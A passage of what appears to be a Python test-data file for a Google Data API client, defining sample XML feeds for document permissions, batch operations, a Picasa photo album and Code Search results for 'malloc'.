DOCUMENT_LIST_ACL_FEED = """<?xml version='1.0' encoding='UTF-8'?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/"
xmlns:gAcl="http://schemas.google.com/acl/2007"
xmlns:batch="http://schemas.google.com/gdata/batch">
<id>http://docs.google.com/feeds/acl/private/full/spreadsheet%3ApFrmMi8feTQYCgZpwUQ</id>
<updated>2009-02-22T03:48:25.895Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/acl/2007#accessRule"/>
<title type="text">Document Permissions</title>
<link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://docs.google.com/feeds/acl/private/full/spreadsheet%3ApFrmMi8feTQYCgZpwUQ"/>
<link rel="http://schemas.google.com/g/2005#post" type="application/atom+xml" href="http://docs.google.com/feeds/acl/private/full/spreadsheet%3ApFrmMi8feTQYCgZpwUQ"/>
<link rel="http://schemas.google.com/g/2005#batch" type="application/atom+xml" href="http://docs.google.com/feeds/acl/private/full/spreadsheet%3ApFrmMi8feTQYCgZpwUQ/batch"/>
<link rel="self" type="application/atom+xml" href="http://docs.google.com/feeds/acl/private/full/spreadsheet%3ApFrmMi8feTQYCgZpwUQ"/>
<openSearch:totalResults>2</openSearch:totalResults>
<openSearch:startIndex>1</openSearch:startIndex>
<entry>
<id>http://docs.google.com/feeds/acl/private/full/spreadsheet%3ApFrmMi8feTQp4pwUwUQ/user%3Auser%40gmail.com</id>
<updated>2009-02-22T03:48:25.896Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/acl/2007#accessRule"/>
<title type="text">Document Permission - user@gmail.com</title>
<link rel="self" type="application/atom+xml" href="http://docs.google.com/feeds/acl/private/full/spreadsheet%3ApFrmMi8feTQp4pwUwUQ/user%3Auser%40gmail.com"/>
<link rel="edit" type="application/atom+xml" href="http://docs.google.com/feeds/acl/private/full/spreadsheet%3ApFrmMi8feTQp4pwUwUQ/user%3Auser%40gmail.com"/>
<gAcl:role value="owner"/>
<gAcl:scope type="user" value="user@gmail.com"/>
</entry>
<entry>
<id>http://docs.google.com/feeds/acl/private/full/spreadsheet%3ApFrmMi8fCgZp4pwUwUQ/user%3Auser2%40google.com</id>
<updated>2009-02-22T03:48:26.257Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/acl/2007#accessRule"/>
<title type="text">Document Permission - user2@google.com</title>
<link rel="self" type="application/atom+xml" href="http://docs.google.com/feeds/acl/private/full/spreadsheet%3ApFrmMi8feTQYCgZp4pwUwUQ/user%3Auser2%40google.com"/>
<link rel="edit" type="application/atom+xml" href="http://docs.google.com/feeds/acl/private/full/spreadsheet%3ApFrmMi8feTQYCgZp4pwUwUQ/user%3Auser2%40google.com"/>
<gAcl:role value="writer"/>
<gAcl:scope type="domain" value="google.com"/>
</entry>
</feed>"""
BATCH_ENTRY = """<?xml version='1.0' encoding='UTF-8'?>
<entry xmlns="http://www.w3.org/2005/Atom"
xmlns:batch="http://schemas.google.com/gdata/batch"
xmlns:g="http://base.google.com/ns/1.0">
<id>http://www.google.com/base/feeds/items/2173859253842813008</id>
<published>2006-07-11T14:51:43.560Z</published>
<updated>2006-07-11T14:51: 43.560Z</updated>
<title type="text">title</title>
<content type="html">content</content>
<link rel="self"
type="application/atom+xml"
href="http://www.google.com/base/feeds/items/2173859253842813008"/>
<link rel="edit"
type="application/atom+xml"
href="http://www.google.com/base/feeds/items/2173859253842813008"/>
<g:item_type>recipes</g:item_type>
<batch:operation type="insert"/>
<batch:id>itemB</batch:id>
<batch:status code="201" reason="Created"/>
</entry>"""
BATCH_FEED_REQUEST = """<?xml version="1.0" encoding="UTF-8"?>
<feed
xmlns="http://www.w3.org/2005/Atom"
xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/"
xmlns:g="http://base.google.com/ns/1.0"
xmlns:batch="http://schemas.google.com/gdata/batch">
<title type="text">My Batch Feed</title>
<entry>
<id>http://www.google.com/base/feeds/items/13308004346459454600</id>
<batch:operation type="delete"/>
</entry>
<entry>
<id>http://www.google.com/base/feeds/items/17437536661927313949</id>
<batch:operation type="delete"/>
</entry>
<entry>
<title type="text">...</title>
<content type="html">...</content>
<batch:id>itemA</batch:id>
<batch:operation type="insert"/>
<g:item_type>recipes</g:item_type>
</entry>
<entry>
<title type="text">...</title>
<content type="html">...</content>
<batch:id>itemB</batch:id>
<batch:operation type="insert"/>
<g:item_type>recipes</g:item_type>
</entry>
</feed>"""
BATCH_FEED_RESULT = """<?xml version="1.0" encoding="UTF-8"?>
<feed
xmlns="http://www.w3.org/2005/Atom"
xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/"
xmlns:g="http://base.google.com/ns/1.0"
xmlns:batch="http://schemas.google.com/gdata/batch">
<id>http://www.google.com/base/feeds/items</id>
<updated>2006-07-11T14:51:42.894Z</updated>
<title type="text">My Batch</title>
<link rel="http://schemas.google.com/g/2005#feed"
type="application/atom+xml"
href="http://www.google.com/base/feeds/items"/>
<link rel="http://schemas.google.com/g/2005#post"
type="application/atom+xml"
href="http://www.google.com/base/feeds/items"/>
<link rel=" http://schemas.google.com/g/2005#batch"
type="application/atom+xml"
href="http://www.google.com/base/feeds/items/batch"/>
<entry>
<id>http://www.google.com/base/feeds/items/2173859253842813008</id>
<published>2006-07-11T14:51:43.560Z</published>
<updated>2006-07-11T14:51: 43.560Z</updated>
<title type="text">...</title>
<content type="html">...</content>
<link rel="self"
type="application/atom+xml"
href="http://www.google.com/base/feeds/items/2173859253842813008"/>
<link rel="edit"
type="application/atom+xml"
href="http://www.google.com/base/feeds/items/2173859253842813008"/>
<g:item_type>recipes</g:item_type>
<batch:operation type="insert"/>
<batch:id>itemB</batch:id>
<batch:status code="201" reason="Created"/>
</entry>
<entry>
<id>http://www.google.com/base/feeds/items/11974645606383737963</id>
<published>2006-07-11T14:51:43.247Z</published>
<updated>2006-07-11T14:51: 43.247Z</updated>
<title type="text">...</title>
<content type="html">...</content>
<link rel="self"
type="application/atom+xml"
href="http://www.google.com/base/feeds/items/11974645606383737963"/>
<link rel="edit"
type="application/atom+xml"
href="http://www.google.com/base/feeds/items/11974645606383737963"/>
<g:item_type>recipes</g:item_type>
<batch:operation type="insert"/>
<batch:id>itemA</batch:id>
<batch:status code="201" reason="Created"/>
</entry>
<entry>
<id>http://www.google.com/base/feeds/items/13308004346459454600</id>
<updated>2006-07-11T14:51:42.894Z</updated>
<title type="text">Error</title>
<content type="text">Bad request</content>
<batch:status code="404"
reason="Bad request"
content-type="application/xml">
<errors>
<error type="request" reason="Cannot find item"/>
</errors>
</batch:status>
</entry>
<entry>
<id>http://www.google.com/base/feeds/items/17437536661927313949</id>
<updated>2006-07-11T14:51:43.246Z</updated>
<content type="text">Deleted</content>
<batch:operation type="delete"/>
<batch:status code="200" reason="Success"/>
</entry>
</feed>"""
ALBUM_FEED = """<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:exif="http://schemas.google.com/photos/exif/2007" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:gml="http://www.opengis.net/gml" xmlns:georss="http://www.georss.org/georss" xmlns:photo="http://www.pheed.com/pheed/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:batch="http://schemas.google.com/gdata/batch" xmlns:gphoto="http://schemas.google.com/photos/2007">
<id>http://picasaweb.google.com/data/feed/api/user/sample.user/albumid/1</id>
<updated>2007-09-21T18:23:05.000Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/photos/2007#album"/>
<title type="text">Test</title>
<subtitle type="text"/>
<rights type="text">public</rights>
<icon>http://lh6.google.com/sample.user/Rt8WNoDZEJE/AAAAAAAAABk/HQGlDhpIgWo/s160-c/Test.jpg</icon>
<link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://picasaweb.google.com/data/feed/api/user/sample.user/albumid/1"/>
<link rel="alternate" type="text/html" href="http://picasaweb.google.com/sample.user/Test"/>
<link rel="http://schemas.google.com/photos/2007#slideshow" type="application/x-shockwave-flash" href="http://picasaweb.google.com/s/c/bin/slideshow.swf?host=picasaweb.google.com&RGB=0x000000&feed=http%3A%2F%2Fpicasaweb.google.com%2Fdata%2Ffeed%2Fapi%2Fuser%2Fsample.user%2Falbumid%2F1%3Falt%3Drss"/>
<link rel="self" type="application/atom+xml" href="http://picasaweb.google.com/data/feed/api/user/sample.user/albumid/1?start-index=1&max-results=500&kind=photo%2Ctag"/>
<author>
<name>sample</name>
<uri>http://picasaweb.google.com/sample.user</uri>
</author>
<generator version="1.00" uri="http://picasaweb.google.com/">Picasaweb</generator> <openSearch:totalResults>4</openSearch:totalResults>
<openSearch:startIndex>1</openSearch:startIndex>
<openSearch:itemsPerPage>500</openSearch:itemsPerPage>
<gphoto:id>1</gphoto:id>
<gphoto:name>Test</gphoto:name>
<gphoto:location/>
<gphoto:access>public</gphoto:access> <gphoto:timestamp>1188975600000</gphoto:timestamp>
<gphoto:numphotos>2</gphoto:numphotos>
<gphoto:user>sample.user</gphoto:user>
<gphoto:nickname>sample</gphoto:nickname>
<gphoto:commentingEnabled>true</gphoto:commentingEnabled>
<gphoto:commentCount>0</gphoto:commentCount>
<entry> <id>http://picasaweb.google.com/data/entry/api/user/sample.user/albumid/1/photoid/2</id>
<published>2007-09-05T20:49:23.000Z</published>
<updated>2007-09-21T18:23:05.000Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/photos/2007#photo"/>
<title type="text">Aqua Blue.jpg</title>
<summary type="text">Blue</summary>
<content type="image/jpeg" src="http://lh4.google.com/sample.user/Rt8WU4DZEKI/AAAAAAAAABY/IVgLqmnzJII/Aqua%20Blue.jpg"/> <link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://picasaweb.google.com/data/feed/api/user/sample.user/albumid/1/photoid/2"/>
<link rel="alternate" type="text/html" href="http://picasaweb.google.com/sample.user/Test/photo#2"/>
<link rel="self" type="application/atom+xml" href="http://picasaweb.google.com/data/entry/api/user/sample.user/albumid/1/photoid/2"/>
<gphoto:id>2</gphoto:id>
<gphoto:version>1190398985145172</gphoto:version>
<gphoto:position>0.0</gphoto:position>
<gphoto:albumid>1</gphoto:albumid> <gphoto:width>2560</gphoto:width>
<gphoto:height>1600</gphoto:height>
<gphoto:size>883405</gphoto:size>
<gphoto:client/>
<gphoto:checksum/>
<gphoto:timestamp>1189025362000</gphoto:timestamp>
<exif:tags> <exif:flash>true</exif:flash>
<exif:imageUniqueID>c041ce17aaa637eb656c81d9cf526c24</exif:imageUniqueID>
</exif:tags>
<gphoto:commentingEnabled>true</gphoto:commentingEnabled>
<gphoto:commentCount>1</gphoto:commentCount>
<media:group>
<media:title type="plain">Aqua Blue.jpg</media:title> <media:description type="plain">Blue</media:description>
<media:keywords>tag, test</media:keywords>
<media:content url="http://lh4.google.com/sample.user/Rt8WU4DZEKI/AAAAAAAAABY/IVgLqmnzJII/Aqua%20Blue.jpg" height="1600" width="2560" type="image/jpeg" medium="image"/>
<media:thumbnail url="http://lh4.google.com/sample.user/Rt8WU4DZEKI/AAAAAAAAABY/IVgLqmnzJII/s72/Aqua%20Blue.jpg" height="45" width="72"/>
<media:thumbnail url="http://lh4.google.com/sample.user/Rt8WU4DZEKI/AAAAAAAAABY/IVgLqmnzJII/s144/Aqua%20Blue.jpg" height="90" width="144"/>
<media:thumbnail url="http://lh4.google.com/sample.user/Rt8WU4DZEKI/AAAAAAAAABY/IVgLqmnzJII/s288/Aqua%20Blue.jpg" height="180" width="288"/>
<media:credit>sample</media:credit>
</media:group>
</entry>
<entry>
<id>http://picasaweb.google.com/data/entry/api/user/sample.user/albumid/1/photoid/3</id>
<published>2007-09-05T20:49:24.000Z</published>
<updated>2007-09-21T18:19:38.000Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/photos/2007#photo"/>
<title type="text">Aqua Graphite.jpg</title>
<summary type="text">Gray</summary>
<content type="image/jpeg" src="http://lh5.google.com/sample.user/Rt8WVIDZELI/AAAAAAAAABg/d7e0i7gvhNU/Aqua%20Graphite.jpg"/>
<link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://picasaweb.google.com/data/feed/api/user/sample.user/albumid/1/photoid/3"/>
<link rel="alternate" type="text/html" href="http://picasaweb.google.com/sample.user/Test/photo#3"/>
<link rel="self" type="application/atom+xml" href="http://picasaweb.google.com/data/entry/api/user/sample.user/albumid/1/photoid/3"/>
<gphoto:id>3</gphoto:id>
<gphoto:version>1190398778006402</gphoto:version>
<gphoto:position>1.0</gphoto:position>
<gphoto:albumid>1</gphoto:albumid>
<gphoto:width>2560</gphoto:width>
<gphoto:height>1600</gphoto:height>
<gphoto:size>798334</gphoto:size>
<gphoto:client/>
<gphoto:checksum/>
<gphoto:timestamp>1189025363000</gphoto:timestamp>
<exif:tags>
<exif:flash>true</exif:flash>
<exif:imageUniqueID>a5ce2e36b9df7d3cb081511c72e73926</exif:imageUniqueID>
</exif:tags>
<gphoto:commentingEnabled>true</gphoto:commentingEnabled>
<gphoto:commentCount>0</gphoto:commentCount>
<media:group>
<media:title type="plain">Aqua Graphite.jpg</media:title>
<media:description type="plain">Gray</media:description>
<media:keywords/>
<media:content url="http://lh5.google.com/sample.user/Rt8WVIDZELI/AAAAAAAAABg/d7e0i7gvhNU/Aqua%20Graphite.jpg" height="1600" width="2560" type="image/jpeg" medium="image"/>
<media:thumbnail url="http://lh5.google.com/sample.user/Rt8WVIDZELI/AAAAAAAAABg/d7e0i7gvhNU/s72/Aqua%20Graphite.jpg" height="45" width="72"/>
<media:thumbnail url="http://lh5.google.com/sample.user/Rt8WVIDZELI/AAAAAAAAABg/d7e0i7gvhNU/s144/Aqua%20Graphite.jpg" height="90" width="144"/>
<media:thumbnail url="http://lh5.google.com/sample.user/Rt8WVIDZELI/AAAAAAAAABg/d7e0i7gvhNU/s288/Aqua%20Graphite.jpg" height="180" width="288"/>
<media:credit>sample</media:credit>
</media:group>
</entry>
<entry>
<id>http://picasaweb.google.com/data/entry/api/user/sample.user/albumid/1/tag/tag</id>
<updated>2007-09-05T20:49:24.000Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/photos/2007#tag"/>
<title type="text">tag</title>
<summary type="text">tag</summary>
<link rel="alternate" type="text/html" href="http://picasaweb.google.com/lh/searchbrowse?q=tag&psc=G&uname=sample.user&filter=0"/>
<link rel="self" type="application/atom+xml" href="http://picasaweb.google.com/data/entry/api/user/sample.user/albumid/1/tag/tag"/>
<author>
<name>sample</name>
<uri>http://picasaweb.google.com/sample.user</uri>
</author>
</entry>
<entry>
<id>http://picasaweb.google.com/data/entry/api/user/sample.user/albumid/1/tag/test</id>
<updated>2007-09-05T20:49:24.000Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/photos/2007#tag"/>
<title type="text">test</title>
<summary type="text">test</summary>
<link rel="alternate" type="text/html" href="http://picasaweb.google.com/lh/searchbrowse?q=test&psc=G&uname=sample.user&filter=0"/>
<link rel="self" type="application/atom+xml" href="http://picasaweb.google.com/data/entry/api/user/sample.user/albumid/1/tag/test"/>
<author>
<name>sample</name>
<uri>http://picasaweb.google.com/sample.user</uri>
</author>
</entry>
</feed>"""
CODE_SEARCH_FEED = """<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:opensearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:gcs="http://schemas.google.com/codesearch/2006" xml:base="http://www.google.com">
<id>http://www.google.com/codesearch/feeds/search?q=malloc</id>
<updated>2007-12-19T16:08:04Z</updated>
<title type="text">Google Code Search</title>
<generator version="1.0" uri="http://www.google.com/codesearch">Google Code Search</generator>
<opensearch:totalResults>2530000</opensearch:totalResults>
<opensearch:startIndex>1</opensearch:startIndex>
<author>
<name>Google Code Search</name>
<uri>http://www.google.com/codesearch</uri>
</author>
<link rel="http://schemas.google.com/g/2006#feed" type="application/atom+xml" href="http://schemas.google.com/codesearch/2006"/>
<link rel="self" type="application/atom+xml" href="http://www.google.com/codesearch/feeds/search?q=malloc"/>
<link rel="next" type="application/atom+xml" href="http://www.google.com/codesearch/feeds/search?q=malloc&start-index=11"/>
<link rel="alternate" type="text/html" href="http://www.google.com/codesearch?q=malloc"/>
<entry><id>http://www.google.com/codesearch?hl=en&q=+malloc+show:LDjwp-Iqc7U:84hEYaYsZk8:xDGReDhvNi0&sa=N&ct=rx&cd=1&cs_p=http://www.gnu.org&cs_f=software/autoconf/manual/autoconf-2.60/autoconf.html-002&cs_p=http://www.gnu.org&cs_f=software/autoconf/manual/autoconf-2.60/autoconf.html-002#first</id><updated>2007-12-19T16:08:04Z</updated><author><name>Code owned by external author.</name></author><title type="text">software/autoconf/manual/autoconf-2.60/autoconf.html</title><link rel="alternate" type="text/html" href="http://www.google.com/codesearch?hl=en&q=+malloc+show:LDjwp-Iqc7U:84hEYaYsZk8:xDGReDhvNi0&sa=N&ct=rx&cd=1&cs_p=http://www.gnu.org&cs_f=software/autoconf/manual/autoconf-2.60/autoconf.html-002&cs_p=http://www.gnu.org&cs_f=software/autoconf/manual/autoconf-2.60/autoconf.html-002#first"/><gcs:package name="http://www.gnu.org" uri="http://www.gnu.org"></gcs:package><gcs:file name="software/autoconf/manual/autoconf-2.60/autoconf.html-002"></gcs:file><content type="text/html"><pre> 8: void *<b>malloc</b> ();
</pre></content><gcs:match lineNumber="4" type="text/html"><pre> #undef <b>malloc</b>
</pre></gcs:match><gcs:match lineNumber="8" type="text/html"><pre> void *<b>malloc</b> ();
</pre></gcs:match><gcs:match lineNumber="14" type="text/html"><pre> rpl_<b>malloc</b> (size_t n)
</pre></gcs:match><gcs:match lineNumber="18" type="text/html"><pre> return <b>malloc</b> (n);
</pre></gcs:match></entry>
<entry><id>http://www.google.com/codesearch?hl=en&q=+malloc+show:h4hfh-fV-jI:niBq_bwWZNs:H0OhClf0HWQ&sa=N&ct=rx&cd=2&cs_p=ftp://ftp.gnu.org/gnu/guile/guile-1.6.8.tar.gz&cs_f=guile-1.6.8/libguile/mallocs.c&cs_p=ftp://ftp.gnu.org/gnu/guile/guile-1.6.8.tar.gz&cs_f=guile-1.6.8/libguile/mallocs.c#first</id><updated>2007-12-19T16:08:04Z</updated><author><name>Code owned by external author.</name></author><title type="text">guile-1.6.8/libguile/mallocs.c</title><link rel="alternate" type="text/html" href="http://www.google.com/codesearch?hl=en&q=+malloc+show:h4hfh-fV-jI:niBq_bwWZNs:H0OhClf0HWQ&sa=N&ct=rx&cd=2&cs_p=ftp://ftp.gnu.org/gnu/guile/guile-1.6.8.tar.gz&cs_f=guile-1.6.8/libguile/mallocs.c&cs_p=ftp://ftp.gnu.org/gnu/guile/guile-1.6.8.tar.gz&cs_f=guile-1.6.8/libguile/mallocs.c#first"/><gcs:package name="ftp://ftp.gnu.org/gnu/guile/guile-1.6.8.tar.gz" uri="ftp://ftp.gnu.org/gnu/guile/guile-1.6.8.tar.gz"></gcs:package><gcs:file name="guile-1.6.8/libguile/mallocs.c"></gcs:file><content type="text/html"><pre> 86: {
scm_t_bits mem = n ? (scm_t_bits) <b>malloc</b> (n) : 0;
if (n &amp;&amp; !mem)
</pre></content><gcs:match lineNumber="54" type="text/html"><pre>#include &lt;<b>malloc</b>.h&gt;
</pre></gcs:match><gcs:match lineNumber="62" type="text/html"><pre>scm_t_bits scm_tc16_<b>malloc</b>;
</pre></gcs:match><gcs:match lineNumber="66" type="text/html"><pre><b>malloc</b>_free (SCM ptr)
</pre></gcs:match><gcs:match lineNumber="75" type="text/html"><pre><b>malloc</b>_print (SCM exp, SCM port, scm_print_state *pstate SCM_UNUSED)
</pre></gcs:match><gcs:match lineNumber="77" type="text/html"><pre> scm_puts(&quot;#&lt;<b>malloc</b> &quot;, port);
</pre></gcs:match><gcs:match lineNumber="87" type="text/html"><pre> scm_t_bits mem = n ? (scm_t_bits) <b>malloc</b> (n) : 0;
</pre></gcs:match><gcs:match lineNumber="90" type="text/html"><pre> SCM_RETURN_NEWSMOB (scm_tc16_<b>malloc</b>, mem);
</pre></gcs:match><gcs:match lineNumber="98" type="text/html"><pre> scm_tc16_<b>malloc</b> = scm_make_smob_type (&quot;<b>malloc</b>&quot;, 0);
</pre></gcs:match><gcs:match lineNumber="99" type="text/html"><pre> scm_set_smob_free (scm_tc16_<b>malloc</b>, <b>malloc</b>_free);
</pre></gcs:match><rights>GPL</rights></entry>
<entry><id>http://www.google.com/codesearch?hl=en&q=+malloc+show:9wyZUG-N_30:7_dFxoC1ZrY:C0_iYbFj90M&sa=N&ct=rx&cd=3&cs_p=http://ftp.gnu.org/gnu/bash/bash-3.0.tar.gz&cs_f=bash-3.0/lib/malloc/alloca.c&cs_p=http://ftp.gnu.org/gnu/bash/bash-3.0.tar.gz&cs_f=bash-3.0/lib/malloc/alloca.c#first</id><updated>2007-12-19T16:08:04Z</updated><author><name>Code owned by external author.</name></author><title type="text">bash-3.0/lib/malloc/alloca.c</title><link rel="alternate" type="text/html" href="http://www.google.com/codesearch?hl=en&q=+malloc+show:9wyZUG-N_30:7_dFxoC1ZrY:C0_iYbFj90M&sa=N&ct=rx&cd=3&cs_p=http://ftp.gnu.org/gnu/bash/bash-3.0.tar.gz&cs_f=bash-3.0/lib/malloc/alloca.c&cs_p=http://ftp.gnu.org/gnu/bash/bash-3.0.tar.gz&cs_f=bash-3.0/lib/malloc/alloca.c#first"/><gcs:package name="http://ftp.gnu.org/gnu/bash/bash-3.0.tar.gz" uri="http://ftp.gnu.org/gnu/bash/bash-3.0.tar.gz"></gcs:package><gcs:file name="bash-3.0/lib/malloc/alloca.c"></gcs:file><content type="text/html"><pre> 78: #ifndef emacs
#define <b>malloc</b> x<b>malloc</b>
extern pointer x<b>malloc</b> ();
</pre></content><gcs:match lineNumber="69" type="text/html"><pre> <b>malloc</b>. The Emacs executable needs alloca to call x<b>malloc</b>, because
</pre></gcs:match><gcs:match lineNumber="70" type="text/html"><pre> ordinary <b>malloc</b> isn&#39;t protected from input signals. On the other
</pre></gcs:match><gcs:match lineNumber="71" type="text/html"><pre> hand, the utilities in lib-src need alloca to call <b>malloc</b>; some of
</pre></gcs:match><gcs:match lineNumber="72" type="text/html"><pre> them are very simple, and don&#39;t have an x<b>malloc</b> routine.
</pre></gcs:match><gcs:match lineNumber="76" type="text/html"><pre> Callers below should use <b>malloc</b>. */
</pre></gcs:match><gcs:match lineNumber="79" type="text/html"><pre>#define <b>malloc</b> x<b>malloc</b>
</pre></gcs:match><gcs:match lineNumber="80" type="text/html"><pre>extern pointer x<b>malloc</b> ();
</pre></gcs:match><gcs:match lineNumber="132" type="text/html"><pre> It is very important that sizeof(header) agree with <b>malloc</b>
</pre></gcs:match><gcs:match lineNumber="198" type="text/html"><pre> register pointer new = <b>malloc</b> (sizeof (header) + size);
</pre></gcs:match><rights>GPL</rights></entry>
<entry><id>http://www.google.com/codesearch?hl=en&q=+malloc+show:uhVCKyPcT6k:8juMxxzmUJw:H7_IDsTB2L4&sa=N&ct=rx&cd=4&cs_p=http://ftp.mozilla.org/pub/mozilla.org/mozilla/releases/mozilla1.7b/src/mozilla-source-1.7b-source.tar.bz2&cs_f=mozilla/xpcom/build/malloc.c&cs_p=http://ftp.mozilla.org/pub/mozilla.org/mozilla/releases/mozilla1.7b/src/mozilla-source-1.7b-source.tar.bz2&cs_f=mozilla/xpcom/build/malloc.c#first</id><updated>2007-12-19T16:08:04Z</updated><author><name>Code owned by external author.</name></author><title type="text">mozilla/xpcom/build/malloc.c</title><link rel="alternate" type="text/html" href="http://www.google.com/codesearch?hl=en&q=+malloc+show:uhVCKyPcT6k:8juMxxzmUJw:H7_IDsTB2L4&sa=N&ct=rx&cd=4&cs_p=http://ftp.mozilla.org/pub/mozilla.org/mozilla/releases/mozilla1.7b/src/mozilla-source-1.7b-source.tar.bz2&cs_f=mozilla/xpcom/build/malloc.c&cs_p=http://ftp.mozilla.org/pub/mozilla.org/mozilla/releases/mozilla1.7b/src/mozilla-source-1.7b-source.tar.bz2&cs_f=mozilla/xpcom/build/malloc.c#first"/><gcs:package name="http://ftp.mozilla.org/pub/mozilla.org/mozilla/releases/mozilla1.7b/src/mozilla-source-1.7b-source.tar.bz2" uri="http://ftp.mozilla.org/pub/mozilla.org/mozilla/releases/mozilla1.7b/src/mozilla-source-1.7b-source.tar.bz2"></gcs:package><gcs:file name="mozilla/xpcom/build/malloc.c"></gcs:file><content type="text/html"><pre> 54: http://gee.cs.oswego.edu/dl/html/<b>malloc</b>.html
You may already by default be using a c library containing a <b>malloc</b>
</pre></content><gcs:match lineNumber="4" type="text/html"><pre>/* ---------- To make a <b>malloc</b>.h, start cutting here ------------ */
</pre></gcs:match><gcs:match lineNumber="22" type="text/html"><pre> Note: There may be an updated version of this <b>malloc</b> obtainable at
</pre></gcs:match><gcs:match lineNumber="23" type="text/html"><pre> ftp://gee.cs.oswego.edu/pub/misc/<b>malloc</b>.c
</pre></gcs:match><gcs:match lineNumber="34" type="text/html"><pre>* Why use this <b>malloc</b>?
</pre></gcs:match><gcs:match lineNumber="37" type="text/html"><pre> most tunable <b>malloc</b> ever written. However it is among the fastest
</pre></gcs:match><gcs:match lineNumber="40" type="text/html"><pre> allocator for <b>malloc</b>-intensive programs.
</pre></gcs:match><gcs:match lineNumber="54" type="text/html"><pre> http://gee.cs.oswego.edu/dl/html/<b>malloc</b>.html
</pre></gcs:match><gcs:match lineNumber="56" type="text/html"><pre> You may already by default be using a c library containing a <b>malloc</b>
</pre></gcs:match><gcs:match lineNumber="57" type="text/html"><pre> that is somehow based on some version of this <b>malloc</b> (for example in
</pre></gcs:match><rights>Mozilla</rights></entry>
<entry><id>http://www.google.com/codesearch?hl=en&q=+malloc+show:4n1P2HVOISs:Ybbpph0wR2M:OhIN_sDrG0U&sa=N&ct=rx&cd=5&cs_p=http://regexps.srparish.net/src/hackerlab/hackerlab-1.0pre2.tar.gz&cs_f=hackerlab-1.0pre2/src/hackerlab/tests/mem-tests/unit-must-malloc.sh&cs_p=http://regexps.srparish.net/src/hackerlab/hackerlab-1.0pre2.tar.gz&cs_f=hackerlab-1.0pre2/src/hackerlab/tests/mem-tests/unit-must-malloc.sh#first</id><updated>2007-12-19T16:08:04Z</updated><author><name>Code owned by external author.</name></author><title type="text">hackerlab-1.0pre2/src/hackerlab/tests/mem-tests/unit-must-malloc.sh</title><link rel="alternate" type="text/html" href="http://www.google.com/codesearch?hl=en&q=+malloc+show:4n1P2HVOISs:Ybbpph0wR2M:OhIN_sDrG0U&sa=N&ct=rx&cd=5&cs_p=http://regexps.srparish.net/src/hackerlab/hackerlab-1.0pre2.tar.gz&cs_f=hackerlab-1.0pre2/src/hackerlab/tests/mem-tests/unit-must-malloc.sh&cs_p=http://regexps.srparish.net/src/hackerlab/hackerlab-1.0pre2.tar.gz&cs_f=hackerlab-1.0pre2/src/hackerlab/tests/mem-tests/unit-must-malloc.sh#first"/><gcs:package name="http://regexps.srparish.net/src/hackerlab/hackerlab-1.0pre2.tar.gz" uri="http://regexps.srparish.net/src/hackerlab/hackerlab-1.0pre2.tar.gz"></gcs:package><gcs:file name="hackerlab-1.0pre2/src/hackerlab/tests/mem-tests/unit-must-malloc.sh"></gcs:file><content type="text/html"><pre> 11: echo ================ unit-must-<b>malloc</b> tests ================
./unit-must-<b>malloc</b>
echo ...passed
</pre></content><gcs:match lineNumber="2" type="text/html"><pre># tag: Tom Lord Tue Dec 4 14:54:29 2001 (mem-tests/unit-must-<b>malloc</b>.sh)
</pre></gcs:match><gcs:match lineNumber="11" type="text/html"><pre>echo ================ unit-must-<b>malloc</b> tests ================
</pre></gcs:match><gcs:match lineNumber="12" type="text/html"><pre>./unit-must-<b>malloc</b>
</pre></gcs:match><rights>GPL</rights></entry>
<entry><id>http://www.google.com/codesearch?hl=en&q=+malloc+show:GzkwiWG266M:ykuz3bG00ws:2sTvVSif08g&sa=N&ct=rx&cd=6&cs_p=http://ftp.gnu.org/gnu/tar/tar-1.14.tar.bz2&cs_f=tar-1.14/lib/malloc.c&cs_p=http://ftp.gnu.org/gnu/tar/tar-1.14.tar.bz2&cs_f=tar-1.14/lib/malloc.c#first</id><updated>2007-12-19T16:08:04Z</updated><author><name>Code owned by external author.</name></author><title type="text">tar-1.14/lib/malloc.c</title><link rel="alternate" type="text/html" href="http://www.google.com/codesearch?hl=en&q=+malloc+show:GzkwiWG266M:ykuz3bG00ws:2sTvVSif08g&sa=N&ct=rx&cd=6&cs_p=http://ftp.gnu.org/gnu/tar/tar-1.14.tar.bz2&cs_f=tar-1.14/lib/malloc.c&cs_p=http://ftp.gnu.org/gnu/tar/tar-1.14.tar.bz2&cs_f=tar-1.14/lib/malloc.c#first"/><gcs:package name="http://ftp.gnu.org/gnu/tar/tar-1.14.tar.bz2" uri="http://ftp.gnu.org/gnu/tar/tar-1.14.tar.bz2"></gcs:package><gcs:file name="tar-1.14/lib/malloc.c"></gcs:file><content type="text/html"><pre> 22: #endif
#undef <b>malloc</b>
</pre></content><gcs:match lineNumber="1" type="text/html"><pre>/* Work around bug on some systems where <b>malloc</b> (0) fails.
</pre></gcs:match><gcs:match lineNumber="23" type="text/html"><pre>#undef <b>malloc</b>
</pre></gcs:match><gcs:match lineNumber="31" type="text/html"><pre>rpl_<b>malloc</b> (size_t n)
</pre></gcs:match><gcs:match lineNumber="35" type="text/html"><pre> return <b>malloc</b> (n);
</pre></gcs:match><rights>GPL</rights></entry>
